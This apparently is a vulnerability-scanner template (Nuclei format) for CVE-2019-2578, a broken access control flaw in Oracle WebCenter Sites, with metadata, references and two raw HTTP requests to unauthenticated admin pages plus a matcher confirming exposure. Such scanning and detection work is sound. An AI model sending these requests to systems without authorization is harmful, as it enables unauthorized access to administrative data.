45 lines
1.8 KiB
YAML
45 lines
1.8 KiB
YAML
id: CVE-2019-2578
|
|
|
|
info:
|
|
name: Oracle Fusion Middleware WebCenter Sites 12.2.1.3.0 - Broken Access Control
|
|
author: leovalcante
|
|
severity: high
|
|
description: Oracle Fusion Middleware WebCenter Sites 12.2.1.3.0 suffers from broken access control. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle WebCenter Sites accessible data.
|
|
remediation: |
|
|
Apply the necessary patches or updates provided by Oracle to fix the Broken Access Control vulnerability (CVE-2019-2578).
|
|
reference:
|
|
- https://www.oracle.com/security-alerts/cpuapr2019.html
|
|
- https://outpost24.com/blog/Vulnerabilities-discovered-in-Oracle-WebCenter-Sites
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2019-2578
|
|
- http://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
|
|
cvss-score: 8.6
|
|
cve-id: CVE-2019-2578
|
|
epss-score: 0.01062
|
|
epss-percentile: 0.82499
|
|
cpe: cpe:2.3:a:oracle:webcenter_sites:12.2.1.3.0:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: oracle
|
|
product: webcenter_sites
|
|
tags: cve,cve2019,oracle,wcs,auth-bypass
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /cs/Satellite?pagename=OpenMarket/Xcelerate/Admin/WebReferences HTTP/1.1
|
|
Host: {{Hostname}}
|
|
- |
|
|
GET /cs/Satellite?pagename=OpenMarket/Xcelerate/Admin/Slots HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
stop-at-first-match: true
|
|
matchers:
|
|
- type: regex
|
|
part: body
|
|
regex:
|
|
- '<script[\d\D]*<throwexception/>'
|
|
|
|
# digest: 4a0a00473045022100f0e11c2eefab89bd62ecca15cd4a7365d8d285523fb4a95b75fbeb6f5e018a48022069b16280d1019d48c3484bfdf87d987283acdfd014c789d42bff1c19056fb949:922c64590222798bb761d5b6d8e72950
|